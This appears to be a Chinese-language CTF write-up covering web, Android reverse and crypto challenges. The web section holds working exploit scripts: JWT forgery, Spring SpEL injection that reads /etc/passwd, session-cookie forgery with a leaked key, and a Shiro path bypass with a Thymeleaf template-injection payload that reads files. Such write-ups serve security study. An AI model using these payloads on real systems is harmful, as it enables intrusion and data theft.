Web#

Web签到#

尝试注册并登录,提示不是admin。
由于token是jwt,尝试用jwtcrack爆破密码,得到secret:1。
修改jwt payload userRole为ADMIN,登录后得到客户端文件。
逆向客户端,发现签名为HMAC-SHA256,密钥为DDCTFWithYou。
构造command payload并发送,发现为spring的spel注入。RCE得到flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import json
import requests
import jwt
import hmac
import hashlib
import base64
import time

url = "http://117.51.136.197"

command = """T(java.nio.file.Files).readAllBytes(T(java.nio.file.Paths).get('/etc/passwd'))"""
t = str(time.time()).split('.')[0]
s = command + "|{}".format(t)
print(s)
m = hmac.new(b"DDCTFWithYou", s.encode(), hashlib.sha256)
signature = m.digest()
s = base64.b64encode(signature)
print(s)
print(requests.post("http://117.51.136.197/server/command",json={
"signature":s,
"command":command,
"timestamp":t
}).text)

卡片商店#

首先存在溢出,直接大数字借卡片然后还卡片得到100以上卡片,兑换后拿到hint:url: /flag , SecKey: Udc13VD5adM_c10nPxFu@v12。
根据Cookie和404的表现,推断出使用的gin+gin-contrib/sessions。修改sessions代码,在get时输出payload内容,然后解析Cookie。发现admin字段为false。改为true后,拿到flag。
可能需要patch一下sessions的go代码 显示session字段

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
package main

import (
"github.com/gin-contrib/sessions"
"github.com/gin-contrib/sessions/cookie"
"github.com/gin-gonic/gin"
"fmt"
)

func main() {
r := gin.Default()
store := cookie.NewStore([]byte("Udc13VD5adM_c10nPxFu@v12"))
r.Use(sessions.Sessions("session", store))

r.GET("/hello", func(c *gin.Context) {
session := sessions.Default(c)
session.Set("admin", true)
fmt.Print(session.Session())
session.Save()
c.JSON(200, gin.H{"hello": session.Get("hello")})
})
r.GET("/show", func(c *gin.Context) {
session := sessions.Default(c)
fmt.Print(session.Session())

c.JSON(200, gin.H{"hello": session.Get("hello")})
})
r.Run(":8000")

Easy Web#

尝试访问/web/index.php,发现一个“后台”,图片为get路径,存在目录穿越,可以从WEB-INF目录获取项目xml配置文件及字节码。
逆向后发现使用了shiro,路由的权限判断在FilterChainDefinitionMapBuilder。推断出存在shiro安全过滤的模式匹配bug,/web/index.php绕过了权限判断,路由至/web/index。
访问;/web/68759c96217a32d5b368ad2965f625ef/index进入admin界面,发现thymeleaf注入。
绕过过滤执行函数可以列目录和读文件。flag在/flag_is_here
exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests
import re

url = "http://116.85.37.131/03a75d3bfcce148fd4fe6b24044ad0cd/;/web/68759c96217a32d5b368ad2965f625ef"

command = 'T(ClassLoader).getSystemClassLoader().loadClass(#httpServletRequest.getCookies()[3].getValue()).getDeclaredConstructor(T(ClassLoader).getSystemClassLoader().loadClass(#httpServletRequest.getCookies()[0].getValue())).newInstance(T(ClassLoader).getSystemClassLoader().loadClass(#httpServletRequest.getCookies()[0].getValue()).getDeclaredConstructor(T(ClassLoader).getSystemClassLoader().loadClass(#httpServletRequest.getCookies()[2].getValue())).newInstance(#httpServletRequest.getCookies()[1].getValue())).useDelimiter(#httpServletRequest.getCookies()[4].getValue()).next()'
# command = 'T(ClassLoader).getSystemClassLoader().loadClass(#httpServletRequest.getCookies()[0].getValue())).getDeclaredConstructor(T(ClassLoader).getSystemClassLoader().loadClass(#httpServletRequest.getCookies()[2].getValue())).newInstance(#httpServletRequest.getCookies()[1].getValue()).start()'
# command = 'T(ClassLoader).getSystemClassLoader().loadClass(#httpServletRequest.getCookies()[3].getValue()).newInstance().toString(T(ClassLoader).getSystemClassLoader().loadClass(#httpServletRequest.getCookies()[0].getValue()).getDeclaredConstructor(T(ClassLoader).getSystemClassLoader().loadClass(#httpServletRequest.getCookies()[2].getValue())).newInstance(#httpServletRequest.getCookies()[1].getValue()).listFiles())'

ret = requests.post(url+"/customize",data={
'content':"<div th:text=${"+command+"}></div>"
}).text

x = re.findall(r"Success! Please fetch ./render/([0-9a-f]+) !",ret)[0]

x = requests.get(url +'/render/'+x,cookies={
"0": "java.io.File",
"1": "/flag_is_here",
"2": "java.lang.String",
"3": "java.util.Scanner",
"4": "%5c%5c%5c%5cz"
})
print(x.text)
print(x.status_code)

Reverse#

Android Reverse 1#

AES->xxtea->MD5
题目给出MD5输入。xxtea密钥为\x02\x02\x03\x04,解密时将IDA F5代码反向跑就行。AES密钥为1234567890123456,根据字符串输出找到CSDN上实现的源代码,直接解密,得到flag。
Reverse xxtea:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#include <stdio.h>
unsigned char cypher[] = {0x60,0x1d,0x81,0x9a,0x38,0x4d,0x96,0x1b,0xf3,0x3c,0x33,0xcc,0xf9,0xc8,0xee,0xe8,0xaa,0x63,0xa0,0x74,0xb9,0x37,0x1a,0x1c,0x61,0x8c,0xac,0xbb,0x25,0x76,0x48,0x22};
unsigned int change[10] = {};
unsigned char _teaKey[] = {0x14, 0x00, 0x00, 0x00, 0x14, 0x00, 0x00, 0x00, 0x1E, 0x00,
0x00, 0x00, 0x28, 0x00, 0x00, 0x00};
int main() {
change[0] = *(u_int32_t*)(cypher + 28);
change[1] = *(u_int32_t*)(cypher);
change[2] = *(u_int32_t*)(cypher + 4);
change[3] = *(u_int32_t*)(cypher + 12);
change[4] = *(u_int32_t*)(cypher + 16);
change[5] = *(u_int32_t*)(cypher + 20);
change[6] = *(u_int32_t*)(cypher + 24);
change[7] = *(u_int32_t*)(cypher + 8);
unsigned int delta; // er12
signed int v15; // er9
delta = 0x9E3779B9 * 13;
v15 = -12;
unsigned int* teaKey = (unsigned int*)_teaKey;
do
{
++v15;
delta -= 0x9E3779B9;
change[0] -= (((change[6] >> 5) ^ 4 * change[1]) + ((change[1] >> 3) ^ 16 * change[6])) ^ ((delta ^ change[1]) + (change[6] ^ teaKey[(delta >> 2) & 3 ^ 3]));
change[6] -= (((change[5] >> 5) ^ 4 * change[0]) + ((change[0] >> 3) ^ 16 * change[5])) ^ ((delta ^ change[0]) + (change[5] ^ teaKey[(delta >> 2) & 3 ^ 2]));
change[5] -= (((change[4] >> 5) ^ 4 * change[6]) + ((change[6] >> 3) ^ 16 * change[4])) ^ ((delta ^ change[6]) + (change[4] ^ teaKey[(delta >> 2) & 3 ^ 1]));
change[4] -= (((change[3] >> 5) ^ 4 * change[5]) + ((change[5] >> 3) ^ 16 * change[3])) ^ ((delta ^ change[5]) + (change[3] ^ teaKey[(delta >> 2) & 3]));
change[3] -= (((change[7] >> 5) ^ 4 * change[4]) + ((change[4] >> 3) ^ 16 * change[7])) ^ ((delta ^ change[4]) + (change[7] ^ teaKey[(delta >> 2) & 3 ^ 3]));
change[7] -= (((change[2] >> 5) ^ 4 * change[3]) + ((change[3] >> 3) ^ 16 * change[2])) ^ ((delta ^ change[3]) + (change[2] ^ teaKey[(delta >> 2) & 3 ^ 2]));
change[2] -= (((change[1] >> 5) ^ 4 * change[7]) + ((change[7] >> 3) ^ 16 * change[1])) ^ ((delta ^ change[7]) + (change[1] ^ teaKey[(delta >> 2) & 3 ^ 1]));
change[1] -= (((change[0] >> 5) ^ 4 * change[2]) + ((change[2] >> 3) ^ 16 * change[0])) ^ ((delta ^ change[2]) + (change[0] ^ teaKey[(delta >> 2) & 3]));
}
while ( v15 );
*(u_int32_t*)(cypher + 28) = change[0];
*(u_int32_t*)(cypher) = change[1];
*(u_int32_t*)(cypher + 4) = change[2];
*(u_int32_t*)(cypher + 12) = change[3];
*(u_int32_t*)(cypher + 16) = change[4];
*(u_int32_t*)(cypher + 20) = change[5];
*(u_int32_t*)(cypher + 24) = change[6];
*(u_int32_t*)(cypher + 8) = change[7];
for (int i = 0; i < 32; ++i) {
printf("0x%02X, ", cypher[i]);
}
}a

AES: https://blog.csdn.net/shaosunrise/article/details/80219950

Android Reverse 2#

在re1的基础上增加了ollvm混淆和secshell壳。脱壳后MainActivity逻辑未变,逆向libnative-lib.so。
单步调试,发现结构与1相同,但在xxtea之前将密钥数值乘10。
修改密钥后解密出flag。

Misc#

decrypt#

重要代码:

1
2
3
4
5
6
def encrypt_bits(self, b):
boxed = self.sbox0[self.sbox1[self.sbox0[(b & BIT_MASK) ^ self.k0] ^ self.k1] ^ self.k2] ^ self.k3
return (self.ror7(boxed) ^ self.k4) & BIT_MASK;
def decrypt_bits(self, b):
unboxed = self.rol7((b & BIT_MASK) ^ self.k4) ^ self.k3
return (self.rsbox0[self.rsbox1[self.rsbox0[unboxed] ^ self.k2] ^ self.k1] ^ self.k0);

boxed和unboxed在同一组key加密时为相同值,故可以用中途相遇法进行搜索。先枚举k3,k4得到unboxed列表,再枚举k0,k1,k2并二分查找表,查看是否有相同的。为了保证结果对所有分组适用,需要多验证几个分组(代码验证了10组)。
时间复杂度:$O(n^{3}\log n^2)$。
空间复杂度:$O(n^2)$
由于异或关系以及sbox的值不超过$2^{12}$,key的值也不会超过4096,此程序能在几个小时内跑出。
exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#include <cstdio>
#include <algorithm>
using namespace std;
#define NUM_BITS 12
#define MAX_VALUE (2 << (NUM_BITS - 1))
#define BIT_MASK MAX_VALUE - 1
#define rol7(b) ((((b) << 7) & BIT_MASK) | (((b) & BIT_MASK) >> (NUM_BITS - 7)))
struct Result {
int k3, k4, val;
bool operator < (const Result & rhs) const {
return val < rhs.val;
}
bool operator == (const Result & rhs) const {
return val == rhs.val;
}
} result[4096 * 4096 + 10];
int cnt;
#define E_BIT 1079
#define D_BIT 567
const int sbox0[] = {生成的sbox0,此处略};
const int sbox1[] = {生成的sbox1,此处略};
bool check(int k0, int k1, int k2, int k3, int k4) {
int e_bits[] = {1079, 633, 1799, 1121, 1766, 364, 1943, 873, 1842, 104};
int d_bits[] = {567, 361, 1793, 1001, 3036, 2896, 307, 258, 3884, 2240};
for (int i = 0; i < 10; ++i) {
if ((rol7((d_bits[i] & BIT_MASK) ^ k4) ^ k3) != sbox0[sbox1[sbox0[(e_bits[i] & BIT_MASK) ^ k0] ^ k1] ^ k2])
return false;
}
return true;
}
int main() {
for (int k3 = 0; k3 < 4096; ++k3)
for (int k4 = 0; k4 < 4096; ++k4)
result[++cnt] = Result{k3, k4, (rol7((D_BIT & BIT_MASK) ^ k4) ^ k3)};
sort(result + 1, result + 1 + cnt);
cnt = unique(result + 1, result + 1 + cnt) - (result + 1);
for (int k0 = 0; k0 < 4096; ++k0)
for (int k1 = 0; k1 < 4096; ++k1)
for (int k2 = 0; k2 < 4096; ++k2) {
int val = sbox0[sbox1[sbox0[(E_BIT & BIT_MASK) ^ k0] ^ k1] ^ k2];
int pos = lower_bound(result + 1, result + 1 + cnt, Result{0, 0, val}) - (result + 1) + 1;
if (result[pos].val == val && check(k0, k1, k2, result[pos].k3, result[pos].k4)) {
printf("%d %d %d %d %d\n", k0, k1, k2, result[pos].k3, result[pos].k4);
exit(0);
}
}
printf("not found");
}

SECRET_KEYS = [3488,2863,726,602,138]